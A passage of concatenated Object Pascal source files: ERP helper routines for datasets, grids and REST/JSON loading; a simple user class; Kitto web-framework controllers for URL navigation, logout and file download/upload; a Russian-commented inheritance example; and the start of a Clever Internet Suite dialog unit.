Result := StringOfChar('0', 2 - Length(IntToStr(Mes + 1))) + IntToStr(Mes + 1) + '/' + IntToStr(Ano);
end;
function RetiraMascara(Texto: String): String;
begin
Result := Texto;
Result := StringReplace(Result,'*','',[rfReplaceAll]);
Result := StringReplace(Result,'.','',[rfReplaceAll]);
Result := StringReplace(Result,'-','',[rfReplaceAll]);
Result := StringReplace(Result,'/','',[rfReplaceAll]);
Result := StringReplace(Result,'\','',[rfReplaceAll]);
end;
procedure ConfiguraCDSFromVO(pCDS: TBufDataSet; pVOClass: TClassVO);
var
J, K: Integer;
TypeData: PTypeData;
TypeInfo: PTypeInfo;
PropList: PPropList;
PropInfo: PPropInfo;
Caminho, Nome, Tamanho, Tipo: String;
Documento: TXMLDocument;
Node: TDOMNode;
begin
try
TypeInfo := pVOClass.ClassInfo;
TypeData := GetTypeData(TypeInfo);
// Lê no arquivo xml no disco
Caminho := 'C:\Projetos\T2Ti ERP 2.0\Lazarus\Retaguarda\Comum\VO\' + TypeData^.UnitName + '.xml';
ReadXMLFile(Documento, Caminho);
Node := Documento.DocumentElement.FirstChild;
// Configura ClientDataset
pCDS.Close;
pCDS.FieldDefs.Clear;
pCDS.IndexDefs.Clear;
// Preenche os nomes dos campos do CDS
GetMem(PropList, TypeData^.PropCount * SizeOf(Pointer));
GetPropInfos(TypeInfo, PropList);
//Adiciona o ID
pCDS.FieldDefs.add('ID', ftInteger);
for J := 0 to (Node.ChildNodes.Count - 1) do
begin
//Adiciona os demais campos
if Node.ChildNodes.Item[J].NodeName = 'property' then
begin
for K := 0 to 4 do
begin
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'column' then
Nome := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'width' then
Tamanho := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'type' then
Tipo := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
end;
if (Tipo = 'String') or (Tipo = 'Memo') then
pCDS.FieldDefs.add(Nome, ftString, StrToInt(Tamanho))
else if Tipo = 'FMTBcdField' then
pCDS.FieldDefs.add(Nome, ftFloat)
else if Tipo = 'Integer' then
pCDS.FieldDefs.add(Nome, ftInteger)
else if (Tipo = 'Date') or (Tipo = 'SQLTimeStamp') then
pCDS.FieldDefs.add(Nome, ftDateTime);
end;
end;
pCDS.CreateDataSet;
(*
Exercício:
Arrume uma maneira de configurar automaticamente as máscaras.
*)
finally
FreeMem(PropList);
end;
end;
procedure ConfiguraGridFromVO(pGrid: TRxDBGrid; pVOClass: TClassVO);
var
J, K: Integer;
TypeData: PTypeData;
TypeInfo: PTypeInfo;
PropList: PPropList;
PropInfo: PPropInfo;
Caminho, Nome, Tamanho, Tipo, Caption: String;
Documento: TXMLDocument;
Node: TDOMNode;
begin
try
TypeInfo := pVOClass.ClassInfo;
TypeData := GetTypeData(TypeInfo);
// Lê no arquivo xml no disco
Caminho := 'C:\Projetos\T2Ti ERP 2.0\Lazarus\Retaguarda\Comum\VO\' + TypeData^.UnitName + '.xml';
ReadXMLFile(Documento, Caminho);
Node := Documento.DocumentElement.FirstChild;
//Configura o ID
AtualizaCaptionGrid(pGrid, 'ID', 'ID');
// Configura a Grid
GetMem(PropList, TypeData^.PropCount * SizeOf(Pointer));
GetPropInfos(TypeInfo, PropList);
for J := 0 to (Node.ChildNodes.Count - 1) do
begin
//Configura os demais campos
if Node.ChildNodes.Item[J].NodeName = 'property' then
begin
for K := 0 to 4 do
begin
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'column' then
Nome := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'width' then
Tamanho := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
if Node.ChildNodes.Item[J].Attributes.Item[K].NodeName = 'caption' then
Caption := Node.ChildNodes.Item[J].Attributes.Item[K].NodeValue;
end;
AtualizaCaptionGrid(pGrid, Nome, Caption);
ConfiguraTamanhoColunaGrid(pGrid, Nome, StrToInt(Tamanho), Caption);
end;
end;
finally
FreeMem(PropList);
end;
end;
procedure AtualizaCaptionGrid(pGrid: TRxDBGrid; pFieldName, pCaption: string);
var
i: integer;
begin
for i := 0 to pGrid.Columns.Count - 1 do
begin
if pGrid.Columns[i].FieldName = pFieldName then
begin
pGrid.Columns[i].Title.Caption := pCaption;
pGrid.Columns[i].Title.Alignment := taCenter;
pGrid.Columns[i].Title.Font.Color := clBlue;
Break;
end;
end;
end;
procedure ConfiguraTamanhoColunaGrid(pGrid: TRxDBGrid; pFieldName: string; pTamanho: integer; pCaption: String);
var
i: integer;
begin
for i := 0 to pGrid.Columns.Count - 1 do
begin
if pGrid.Columns[i].FieldName = pFieldName then
begin
if pTamanho <= 0 then
begin
pGrid.Columns[i].Visible := False;
end
else
begin
if pTamanho < (Length(pCaption) * 8) then
pTamanho := (Length(pCaption) * 6);
pGrid.Columns[i].Visible := True;
pGrid.Columns[i].Width := pTamanho;
end;
Break;
end;
end;
end;
function TrataNomeProperty(NomeCampo: String): String;
var
I: Integer;
begin
NomeCampo := UpperCase(Copy(NomeCampo, 1, 1)) + LowerCase
(Copy(NomeCampo, 2, length(NomeCampo) - 1));
for I := 1 to length(NomeCampo) do
begin
if copy(NomeCampo,I,1) = '_' then
begin
Delete(NomeCampo,I,1);
NomeCampo := Copy(NomeCampo,1,I-1) + UpperCase(Copy(NomeCampo,I,1)) + LowerCase(Copy(NomeCampo,I+1,length(NomeCampo)-1));
end;
end;
Result := NomeCampo;
end;
function ProcessRequest(const AHttpResult: TBrookHTTPResult): boolean;
begin
Result := AHttpResult.StatusCode = 404;
if Result then
begin
ShowMessage('No record(s).');
Exit;
end;
Result := (AHttpResult.StatusCode = 200) or (AHttpResult.StatusCode = 201) or
(AHttpResult.StatusCode = 204);
if not Result then
ShowMessageFmt('Error: %s; Code: %d; Content: %s.',
[AHttpResult.ReasonPhrase, AHttpResult.StatusCode, AHttpResult.Content]);
end;
function ProcessRequestQuiet(const AHttpResult: TBrookHTTPResult): boolean;
begin
Result := AHttpResult.StatusCode = 404;
if Result then
begin
Exit;
end;
end;
procedure ConsultarVO(pFiltro: String; var pObjeto: TVO);
var
VJSONCols: TJSONObject;
VRecord: TJSONData = nil;
J, K: Integer;
TypeData: PTypeData;
TypeInfo: PTypeInfo;
PropList: PPropList;
PropInfo: PPropInfo;
Documento: TXMLDocument;
Node: TDOMNode;
Caminho, NomeCampoJson, NomeCampoPascal, NomeTabelaBanco, URLCompleta: String;
Sessao: TSessaoUsuario;
AHttpResult: TBrookHTTPResult;
begin
try
//pega sessao
Sessao := TSessaoUsuario.Instance;
//pega os dados do objeto passado via RTTI
TypeInfo := pObjeto.ClassInfo;
TypeData := GetTypeData(TypeInfo);
GetMem(PropList, TypeData^.PropCount * SizeOf(Pointer));
GetPropInfos(TypeInfo, PropList);
// Lê no arquivo xml no disco
Caminho := 'C:\Projetos\T2Ti ERP 2.0\Lazarus\Retaguarda\Comum\VO\' + TypeData^.UnitName + '.xml';
ReadXMLFile(Documento, Caminho);
Node := Documento.DocumentElement.FirstChild;
NomeTabelaBanco := Node.Attributes.Item[1].NodeValue;
//pega o objeto referente ao registro selecionado
URLCompleta := Sessao.URL + NomeTabelaBanco + '/' + pFiltro;
AHttpResult := BrookHttpRequest(URLCompleta, VJSONCols);
if AHttpResult.StatusCode = 404 then
exit;
try
for J := 0 to Pred(VJSONCols.Count) do
begin
//coluna do objeto Json
NomeCampoJson := TrataNomeProperty(VJSONCols.Names[J]);
VRecord := VJSONCols.Items[J];
case VRecord.JSONType of
jtNumber:
begin
for K := 0 to TypeData^.PropCount - 1 do
begin
PropInfo := GetPropInfo(pObjeto, PropList^[K]^.Name);
NomeCampoPascal := PropList^[K]^.Name;
if NomeCampoPascal = NomeCampoJson then
begin
if VRecord is TJSONFloatNumber then
SetFloatProp(pObjeto, PropInfo, VRecord.AsFloat)
else
begin
SetInt64Prop(pObjeto, PropInfo, VRecord.AsInt64);
end;
end;
end;
end;
jtString:
begin
for K := 0 to TypeData^.PropCount - 1 do
begin
PropInfo := GetPropInfo(pObjeto, PropList^[K]^.Name);
NomeCampoPascal := PropList^[K]^.Name;
if NomeCampoPascal = NomeCampoJson then
begin
SetStrProp(pObjeto, PropInfo, VRecord.AsString)
end;
end;
end;
end;
end;
finally
end;
finally
FreeMem(PropList);
end;
end;
procedure AtualizaCDSJson(pDadosJson: TJSONData; pDataSet: TBufDataSet);
var
VIsObject: Boolean;
VJSONCols: TJSONObject;
VRecord: TJSONData = nil;
I, J: Integer;
Registros: Integer;
begin
pDataSet.Close;
pDataSet.Open;
if not Assigned(pDadosJson) then
begin
Exit;
end;
VJSONCols := TJSONObject(pDadosJson.Items[0]);
VIsObject := VJSONCols.JSONType = jtObject;
if VIsObject and (VJSONCols.Count < 1) then
begin
Exit;
end;
try
Registros := Pred(pDadosJson.Count);
for I := 0 to Registros do
begin
pDataSet.Append;
VJSONCols := TJSONObject(pDadosJson.Items[I]);
for J := 0 to Pred(VJSONCols.Count) do
begin
VRecord := VJSONCols.Items[J];
case VRecord.JSONType of
jtNumber:
begin
if VRecord is TJSONFloatNumber then
pDataSet.FieldByName(VJSONCols.Names[J]).AsFloat := VRecord.AsFloat
else
pDataSet.FieldByName(VJSONCols.Names[J]).AsInteger := VRecord.AsInt64;
end;
jtString:
pDataSet.FieldByName(VJSONCols.Names[J]).AsString := VRecord.AsString;
jtBoolean:
pDataSet.FieldByName(VJSONCols.Names[J]).AsString := BoolToStr(VRecord.AsBoolean, 'TRUE', 'FALSE');
end;
end;
pDataSet.Post;
end;
finally
end;
end;
procedure AtualizaCDSZeos(pZQuery: TZQuery; pDataSet: TBufDataSet);
var
ListaCampos: TStringList;
i: integer;
begin
pDataSet.Close;
pDataSet.Open;
ListaCampos := TStringList.Create;
pZQuery.Active := True;
pZQuery.GetFieldNames(ListaCampos);
pZQuery.First;
while not pZQuery.EOF do begin
pDataSet.Append;
for i := 0 to ListaCampos.Count - 1 do
begin
pDataSet.FieldByName(ListaCampos[i]).Value := pZQuery.FieldByName(ListaCampos[i]).Value;
end;
pDataSet.Post;
pZQuery.Next;
end;
end;
end.
|
unit uUsuario;
interface
type
TUsuario = class
private
FId: Integer;
FNome: string;
function getId: Integer;
function getNome: string;
procedure setId(const Value: Integer);
procedure setNome(const Value: string);
public
constructor create;
published
property id: Integer read getId write setId;
property nome: string read getNome write setNome;
end;
implementation
{ TUsuario }
constructor TUsuario.create;
begin
FId := 0;
FNome := '';
end;
function TUsuario.getId: Integer;
begin
Result := FId;
end;
function TUsuario.getNome: string;
begin
Result := FNome;
end;
procedure TUsuario.setId(const Value: Integer);
begin
if value <> FId then
FId := Value;
end;
procedure TUsuario.setNome(const Value: string);
begin
if Value <> FNome then
FNome := Value;
end;
end.
|
{-------------------------------------------------------------------------------
Copyright 2012 Ethea S.r.l.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------------------}
unit Kitto.Ext.StandardControllers;
{$I Kitto.Defines.inc}
interface
uses
Classes, SysUtils,
Kitto.Ext.Base, Kitto.Ext.DataTool, Kitto.Metadata.Views;
type
/// <summary>
/// Opens a view through Session.DisplayView. Useful to add a
/// view to a panel's toolbar with customized properties (such as
/// DisplayLabel or ImageName).
/// If no customization is needed, just add the view's name
/// or definition under the ToolViews node.
/// </summary>
TKExtDisplayViewController = class(TKExtToolController)
private
FTargetView: TKView;
function GetTargetView: TKView;
protected
property TargetView: TKView read GetTargetView;
procedure ExecuteTool; override;
end;
/// <summary>Logs the current user out ending the current session. Only
/// useful if authentication is enabled.</summary>
TKExtLogoutController = class(TKExtToolController)
protected
procedure ExecuteTool; override;
public
/// <summary>Returns the display label to use by default when not specified
/// at the view or other level. Called through RTTI.</summary>
class function GetDefaultDisplayLabel: string;
/// <summary>Returns the image name to use by default when not specified at
/// the view or other level. Called through RTTI.</summary>
class function GetDefaultImageName: string; override;
end;
/// <summary>Base class for URL controllers.</summary>
TKExtURLControllerBase = class(TKExtDataToolController)
protected
function GetURL: string; virtual; abstract;
procedure ExecuteTool; override;
end;
/// <summary>
/// <para>Navigates to a specified URL in a different browser
/// window/tab.</para>
/// <para>Params:</para>
/// <list type="table">
/// <listheader>
/// <term>Term</term>
/// <description>Description</description>
/// </listheader>
/// <item>
/// <term>TargetURL</term>
/// <description>URL to navigate to. May contain macros.</description>
/// </item>
/// </list>
/// </summary>
TKExtURLController = class(TKExtURLControllerBase)
protected
function GetURL: string; override;
end;
/// <summary>
/// <para>Navigates to a specified URL in a different browser window/tab.
/// Several URLs can be specified and the choice is made by filtering on
/// request headers (for example, you can navigate to a different URL
/// depending on the client IP address or class of addresses).</para>
/// <para>Params:</para>
/// <list type="table">
/// <listheader>
/// <term>Term</term>
/// <description>Description</description>
/// </listheader>
/// <item>
/// <term>Filters</term>
/// <description>A collection of filters. Each node contains a Header
/// to filter upon (ex. REMOTE_ADDR), a Pattern to match the header
/// value to, and a TargetURL which may contain macros.</description>
/// </item>
/// <item>
/// <term>DefaultURL</term>
/// <description>Optional URL to navigate to when no filters
/// apply.</description>
/// </item>
/// </list>
/// </summary>
/// <remarks>If no filters apply, and DefaultURL is not specified, navigation
/// is not performed.</remarks>
TKExtFilteredURLController = class(TKExtURLControllerBase)
protected
function GetURL: string; override;
end;
/// <summary>Downloads a file that exists on disk or (by inheriting from it)
/// is prepared on demand as a file or stream.</summary>
/// <remarks>
/// <para>This class can be uses as-is to serve existing files, or
/// inherited to serve on-demand files and streams.</para>
/// <para>Params for the as-is version:</para>
/// <list type="table">
/// <listheader>
/// <term>Term</term>
/// <description>Description</description>
/// </listheader>
/// <item>
/// <term>FileName</term>
/// <description>Name of the file to serve (complete with full path).
/// May contain macros.</description>
/// </item>
/// <item>
/// <term>ClientFileName</term>
/// <description>File name as passed to the client; if not specified,
/// the name portion of FileName is used.</description>
/// </item>
/// <item>
/// <term>ContentType</term>
/// <description>Content type passed to the client; if not specified,
/// it is derived from the file name's extension.</description>
/// </item>
/// <item>
/// <term>PersistentFileName</term>
/// <description>Name of the file optionally persisted on the server
/// before download. No files are left on the server if this parameter
/// is not specified.</description>
/// </item>
/// </list>
/// </remarks>
TKExtDownloadFileController = class(TKExtDataToolController)
strict private
FTempFileNames: TStrings;
FStream: TStream;
function GetContentType: string;
function GetFileName: string;
procedure DoDownloadStream(const AStream: TStream;
const AFileName: string; const AContentType: string);
procedure PersistFile(const AStream: TStream);
strict protected
FFileName: string;
function GetPersistentFileName: string;
procedure ExecuteTool; override;
function GetFileExtension: string;
function GetDefaultFileExtension: string; virtual;
procedure AddTempFilename(const AFileName: string);
procedure Cleanup;
procedure DoAfterExecuteTool; override;
protected
function GetClientFileName: string; virtual;
/// <summary>
/// Override this method to provide a default file name if it's
/// not specified in the config. If you are using streams, don't override
/// this method.
/// </summary>
function GetDefaultFileName: string; virtual;
/// <summary>If you are creating a file on demand, do it in this method. If
/// you are using streams, don't override this method and use CreateStream
/// instead.</summary>
/// <param name="AFileName">File name as read from the FileName param or
/// returned by GetDefaultFileName.</param>
procedure PrepareFile(const AFileName: string); virtual;
/// <summary>
/// Creates and returns a stream with the content to download.
/// Override this method if you are using streams as opposed to
/// files.
/// </summary>
/// <remarks>
/// The caller will be responsible for freeing the stream when no
/// longer needed.
/// </remarks>
function CreateStream: TStream; virtual;
procedure InitDefaults; override;
public
destructor Destroy; override;
/// <summary>Returns the image name to use by default when not specified at
/// the view or other level. Called through RTTI.</summary>
class function GetDefaultImageName: string; override;
published
procedure DownloadFile; virtual;
procedure DownloadStream;
property FileName: string read GetFileName;
property ClientFileName: string read GetClientFileName;
property ContentType: string read GetContentType;
end;
/// <summary>Uploads a file provided showing an Upload file dialog</summary>
/// <remarks>
/// <para>This class can be uses as-is to Upload a file to the server, or
/// inherited to serve on-demand import.</para>
/// <para>Params for the as-is version:</para>
/// <list type="table">
/// <listheader>
/// <term>Term</term>
/// <description>Description</description>
/// </listheader>
/// <item>
/// <term>FileName</term>
/// <description>Name of the server file to save (complete with full path).
/// May contain macros.</description>
/// </item>
/// <item>
/// <term>ContentType</term>
/// <description>Content type passed from the client; if not specified,
/// it is derived from the file name's extension.</description>
/// </item>
/// <item>
/// <term>MaxUploadSize</term>
/// <description>Maximum allowed size for the uploaded file.</description>
/// </item>
/// </list>
/// </remarks>
TKExtUploadFileController = class(TKExtDataToolController)
strict private
FTempFileNames: TStrings;
FWindow: TKExtModalWindow;
function GetContentType: string;
function GetPath: string;
function GetMaxUploadSize: Integer;
procedure ShowUploadFileDialog;
strict protected
procedure ExecuteTool; override;
function GetAcceptedWildcards: string; virtual;
function GetDefaultPath: string; virtual;
procedure AddTempFilename(const AFileName: string);
procedure Cleanup;
procedure DoAfterExecuteTool; override;
protected
/// <summary>This method is called when the file was uploaded to the server.</summary>
/// <param name="AUploadedFileName">File name uploaded</param>
procedure ProcessUploadedFile(const AUploadedFileName: string); virtual;
procedure InitDefaults; override;
public
destructor Destroy; override;
/// <summary>Returns the image name to use by default when not specified at
/// the view or other level. Called through RTTI.</summary>
class function GetDefaultImageName: string; override;
published
property Path: string read GetPath;
property AcceptedWildcards: string read GetAcceptedWildcards;
property ContentType: string read GetContentType;
property MaxUploadSize: Integer read GetMaxUploadSize;
procedure Upload;
procedure PostUpload;
end;
implementation
uses
Types, StrUtils, Masks,
Ext, ExtForm, ExtUxForm,
EF.StrUtils, EF.SysUtils, EF.Tree, EF.RegEx, EF.Localization,
Kitto.Ext.Session, Kitto.Ext.Controller, Kitto.Metadata.DataView;
{ TKExtURLControllerBase }
procedure TKExtURLControllerBase.ExecuteTool;
var
LURL: string;
begin
inherited;
LURL := GetURL;
if LURL <> '' then
Session.Navigate(LURL);
end;
{ TKExtURLController }
function TKExtURLController.GetURL: string;
begin
Result := Config.GetExpandedString('TargetURL');
end;
{ TKExtFilteredURLController }
function TKExtFilteredURLController.GetURL: string;
var
LFilters: TEFNode;
I: Integer;
LHeader: string;
LPattern: string;
LTargetURL: string;
begin
Result := '';
LFilters := Config.FindNode('Filters');
if Assigned(LFilters) and (LFilters.ChildCount > 0) then
begin
for I := 0 to LFilters.ChildCount - 1 do
begin
LHeader := Session.RequestHeader[LFilters.Children[I].GetExpandedString('Header')];
LPattern := LFilters.Children[I].GetExpandedString('Pattern');
LTargetURL := LFilters.Children[I].GetExpandedString('TargetURL');
if StrMatchesPatternOrRegex(LHeader, LPattern) then
begin
Result := LTargetURL;
Break;
end;
end;
if Result = '' then
Result := Config.GetExpandedString('DefaultURL');
end;
end;
{ TKExtDownloadFileController }
procedure TKExtDownloadFileController.AddTempFilename(const AFileName: string);
begin
FTempFileNames.Add(AFileName);
end;
procedure TKExtDownloadFileController.Cleanup;
var
I: Integer;
begin
for I := 0 to FTempFileNames.Count - 1 do
DeleteFile(FTempFileNames[I]);
FTempFileNames.Clear;
end;
function TKExtDownloadFileController.CreateStream: TStream;
begin
Result := nil;
end;
procedure TKExtDownloadFileController.ExecuteTool;
var
LStream: TFileStream;
begin
inherited;
try
FFileName := GetFileName;
if FFileName <> '' then
begin
PrepareFile(FFileName);
LStream := TFileStream.Create(FFileName, fmOpenRead);
try
PersistFile(LStream);
finally
FreeAndNil(LStream);
end;
Download(DownloadFile);
end
else
begin
FStream := CreateStream;
PersistFile(FStream);
Download(DownloadStream);
end;
except
Cleanup;
raise;
end;
end;
destructor TKExtDownloadFileController.Destroy;
begin
inherited;
Cleanup;
FTempFileNames.Free;
end;
procedure TKExtDownloadFileController.DoAfterExecuteTool;
begin
// We'll call AfterExecuteTool in DoDownloadStream.
end;
procedure TKExtDownloadFileController.DoDownloadStream(const AStream: TStream;
const AFileName, AContentType: string);
begin
Session.DownloadStream(AStream, AFileName, AContentType);
AfterExecuteTool;
end;
function TKExtDownloadFileController.GetPersistentFileName: string;
begin
Result := ExpandServerRecordValues(Config.GetExpandedString('PersistentFileName'));
end;
procedure TKExtDownloadFileController.PersistFile(const AStream: TStream);
var
LPersistentFileName: string;
LFileStream: TFileStream;
begin
Assert(Assigned(AStream));
LPersistentFileName := GetPersistentFileName;
if LPersistentFileName <> '' then
begin
if FileExists(LPersistentFileName) then
DeleteFile(LPersistentFileName);
LFileStream := TFileStream.Create(LPersistentFileName, fmCreate or fmShareExclusive);
try
AStream.Position := 0;
LFileStream.CopyFrom(AStream, AStream.Size);
finally
FreeAndNil(LFileStream);
AStream.Position := 0;
end;
end;
end;
procedure TKExtDownloadFileController.DownloadFile;
var
LStream: TStream;
begin
try
// The file might not exist if the browser has sent multiple request and
// it was served before and then deleted (see Cleanup).
if FileExists(FFileName) then
begin
LStream := TFileStream.Create(FFileName, fmOpenRead);
try
DoDownloadStream(LStream, ClientFileName, ContentType);
finally
FreeAndNil(LStream);
end;
end;
finally
// Cleanup;
end;
end;
procedure TKExtDownloadFileController.DownloadStream;
begin
try
try
DoDownloadStream(FStream, ClientFileName, ContentType);
finally
FreeAndNil(FStream);
end;
finally
Cleanup;
end;
end;
function TKExtDownloadFileController.GetClientFileName: string;
begin
Result := ExpandServerRecordValues(Config.GetExpandedString('ClientFileName'));
if (Result = '') then
begin
if Assigned(ViewTable) then
Result := ViewTable.PluralDisplayLabel + GetDefaultFileExtension
else
Result := ExtractFileName(FileName);
end;
end;
function TKExtDownloadFileController.GetContentType: string;
begin
Result := Config.GetExpandedString('ContentType');
end;
function TKExtDownloadFileController.GetDefaultFileExtension: string;
begin
Result := '';
end;
function TKExtDownloadFileController.GetDefaultFileName: string;
begin
Result := '';
end;
class function TKExtDownloadFileController.GetDefaultImageName: string;
begin
Result := 'download';
end;
function TKExtDownloadFileController.GetFileExtension: string;
begin
if ClientFileName <> '' then
Result := ExtractFileExt(ClientFileName)
else
Result := GetDefaultFileExtension;
end;
function TKExtDownloadFileController.GetFileName: string;
begin
Result := ExpandServerRecordValues(Config.GetExpandedString('FileName', GetDefaultFileName));
end;
procedure TKExtDownloadFileController.InitDefaults;
begin
inherited;
FTempFileNames := TStringList.Create;
end;
procedure TKExtDownloadFileController.PrepareFile(const AFileName: string);
begin
end;
{ TKExtLogoutController }
procedure TKExtLogoutController.ExecuteTool;
begin
inherited;
Session.Logout;
end;
class function TKExtLogoutController.GetDefaultDisplayLabel: string;
begin
Result := _('Logout');
end;
class function TKExtLogoutController.GetDefaultImageName: string;
begin
Result := 'logout';
end;
{ TKExtUploadFileController }
procedure TKExtUploadFileController.AddTempFilename(const AFileName: string);
begin
FTempFileNames.Add(AFileName);
end;
procedure TKExtUploadFileController.Cleanup;
var
I: Integer;
begin
for I := 0 to FTempFileNames.Count - 1 do
DeleteFile(FTempFileNames[I]);
FTempFileNames.Clear;
end;
destructor TKExtUploadFileController.Destroy;
begin
inherited;
Cleanup;
FTempFileNames.Free;
end;
procedure TKExtUploadFileController.DoAfterExecuteTool;
begin
// We'll call AfterExecuteTool in PostUpload.
end;
procedure TKExtUploadFileController.ExecuteTool;
begin
ShowUploadFileDialog;
end;
procedure TKExtUploadFileController.ShowUploadFileDialog;
var
LUploadButton: TKExtButton;
LFormPanel: TExtFormFormPanel;
LSubmitAction: TExtFormActionSubmit;
LUploadFormField: TExtUxFormFileUploadField;
LAcceptedWildcards: string;
begin
FreeAndNil(FWindow);
LAcceptedWildcards := AcceptedWildcards;
FWindow := TKExtModalWindow.Create(Self);
FWindow.Width := 400;
FWindow.Height := 120;
FWindow.Maximized := Session.IsMobileBrowser;
FWindow.Border := not FWindow.Maximized;
FWindow.Closable := True;
FWindow.Title := _('File upload');
LFormPanel := TExtFormFormPanel.CreateAndAddTo(FWindow.Items);
LFormPanel.Region := rgCenter;
LFormPanel.Frame := True;
LFormPanel.FileUpload := True;
LFormPanel.LabelAlign := laRight;
LFormPanel.LabelWidth := 100;
LUploadFormField := TExtUxFormFileUploadField.CreateAndAddTo(LFormPanel.Items);
LUploadFormField.FieldLabel := _(Self.DisplayLabel);
if LAcceptedWildcards <> '' then
LUploadFormField.EmptyText := Format(_('File matching %s'), [LAcceptedWildcards])
else
LUploadFormField.EmptyText := _('Select a file to upload');
LUploadFormField.AllowBlank := False;
LUploadFormField.Anchor := '0 5 0 0';
LUploadButton := TKExtButton.CreateAndAddTo(LFormPanel.Buttons);
LUploadButton.Text := _('Upload');
LUploadButton.SetIconAndScale('Upload', IfThen(Session.IsMobileBrowser,'medium', 'small'));
LSubmitAction := TExtFormActionSubmit.Create(FWindow);
LSubmitAction.Url := MethodURI(Upload);
LSubmitAction.WaitMsg := _('File upload in progress...');
LSubmitAction.WaitTitle := _('Please wait...');
LSubmitAction.Success := Ajax(PostUpload);
LSubmitAction.Failure := ExtMessageBox.Alert(_('File upload error'), '%1.result.message');
LUploadButton.Handler := TExtFormBasicForm(LFormPanel.GetForm).Submit(LSubmitAction);
Session.MaxUploadSize := MaxUploadSize;
session.AcceptedWildCards := AcceptedWildcards;
FWindow.Show;
end;
procedure TKExtUploadFileController.Upload;
var
LFileName, LAcceptedWildcards: string;
LAccepted: Boolean;
begin
LFileName := Session.FileUploadedFullName;
LAcceptedWildcards := AcceptedWildcards;
LAccepted := MatchWildCards(LFileName,
LAcceptedWildcards);
if not LAccepted then
raise Exception.Create(Format(_('Error: uploaded file don''t match Wildcard (%s)'),
[LAcceptedWildcards]));
{ TODO : Check the file against limitations such as size}
if (LFileName <> '') and FileExists(LFileName) then
begin
AddTempFilename(LFileName);
try
ProcessUploadedFile(LFileName);
finally
Cleanup;
end;
end;
AfterExecuteTool;
end;
function TKExtUploadFileController.GetContentType: string;
begin
Result := Config.GetExpandedString('ContentType');
end;
function TKExtUploadFileController.GetDefaultPath: string;
begin
Result := '';
end;
function TKExtUploadFileController.GetMaxUploadSize: Integer;
begin
Result := Config.GetInteger('MaxUploadSize', MaxLongint);
end;
class function TKExtUploadFileController.GetDefaultImageName: string;
begin
Result := 'upload';
end;
function TKExtUploadFileController.GetPath: string;
begin
Result := Config.GetExpandedString('Path', GetDefaultPath);
end;
function TKExtUploadFileController.GetAcceptedWildcards: string;
begin
Result := Config.GetString('AcceptedWildcards');
end;
procedure TKExtUploadFileController.InitDefaults;
begin
inherited;
FTempFileNames := TStringList.Create;
end;
procedure TKExtUploadFileController.PostUpload;
begin
FWindow.Close;
end;
procedure TKExtUploadFileController.ProcessUploadedFile(const AUploadedFileName: string);
begin
end;
{ TKExtDisplayViewController }
procedure TKExtDisplayViewController.ExecuteTool;
begin
inherited;
Session.DisplayView(TargetView);
end;
function TKExtDisplayViewController.GetTargetView: TKView;
begin
if not Assigned(FTargetView) then
FTargetView := Session.Config.Views.FindViewByNode(View.FindNode('Controller/View'));
Result := FTargetView;
Assert(Assigned(Result));
end;
initialization
TKExtControllerRegistry.Instance.RegisterClass('DisplayView', TKExtDisplayViewController);
TKExtControllerRegistry.Instance.RegisterClass('Logout', TKExtLogoutController);
TKExtControllerRegistry.Instance.RegisterClass('URL', TKExtURLController);
TKExtControllerRegistry.Instance.RegisterClass('FilteredURL', TKExtFilteredURLController);
TKExtControllerRegistry.Instance.RegisterClass('DownloadFile', TKExtDownloadFileController);
TKExtControllerRegistry.Instance.RegisterClass('UploadFile', TKExtUploadFileController);
finalization
TKExtControllerRegistry.Instance.UnregisterClass('DisplayView');
TKExtControllerRegistry.Instance.UnregisterClass('Logout');
TKExtControllerRegistry.Instance.UnregisterClass('URL');
TKExtControllerRegistry.Instance.UnregisterClass('FilteredURL');
TKExtControllerRegistry.Instance.UnregisterClass('DownloadFile');
TKExtControllerRegistry.Instance.UnregisterClass('UploadFile');
end.
|
unit Unit2;
interface
type
{ TAncestor : Предок }
TAncestor = class
private
// Виртуальная процедура
procedure SetMyField(Value: string); virtual; abstract;
function GetMyField: string; virtual; abstract;
protected
public
end;
{ TMyClass : Наследник }
TMyClass = class(TAncestor)
private
FMyField: string;
// Перекрытие виртуальной процедуры
procedure SetMyField(Value: string); override;
function GetMyField: string; override;
public
property MyField: string read GetMyField write SetMyField;
end;
implementation
{ TMyClass }
procedure TMyClass.SetMyField(Value: string);
begin
FMyField:=Value;
end;
function TMyClass.GetMyField: string;
begin
result:=FMyField;
end;
end.
|
{
Clever Internet Suite Version 6.2
Copyright (C) 1999 - 2006 Clever Components
www.CleverComponents.com
}
unit clBodyChooser;
interface
{$I clVer.inc}
uses
Forms, Classes, Controls, StdCtrls, clMailMessage;
type
TclMessageBodyChooser = class(TForm)
btnOK: TButton;
btnCancel: TButton;
ComboBox: TComboBox;
lkpType: TLabel;
public
class function AddSingleBody(AMessageBodies: TclMessageBodies): Boolean;
end;
implementation
{$R *.DFM}
{ TclMessageBodyChooser }
type
TclMessageBodiesAccess = class(TclMessageBodies);
class function TclMessageBodyChooser.AddSingleBody(AMessageBodies: TclMessageBodies): Boolean;
var
i: Integer;
Dlg: TclMessageBodyChooser;
begin
Dlg := TclMessageBodyChooser.Create(nil);
try
Dlg.Caption := 'Select Body Type';
for i := 0 to GetRegisteredBodyItems().Count - 1 do
begin
Dlg.ComboBox.Items.Add(TclMessageBodyClass(GetRegisteredBodyItems()[i]).ClassName);
end;
Dlg.ComboBox.ItemIndex := 0;
Result := (Dlg.ShowModal() = mrOK);
if Result then
begin
TclMessageBodiesAccess(AMessageBodies).AddItem(
TclMessageBodyClass(GetRegisteredBodyItems()[Dlg.ComboBox.ItemIndex]));
end;
finally
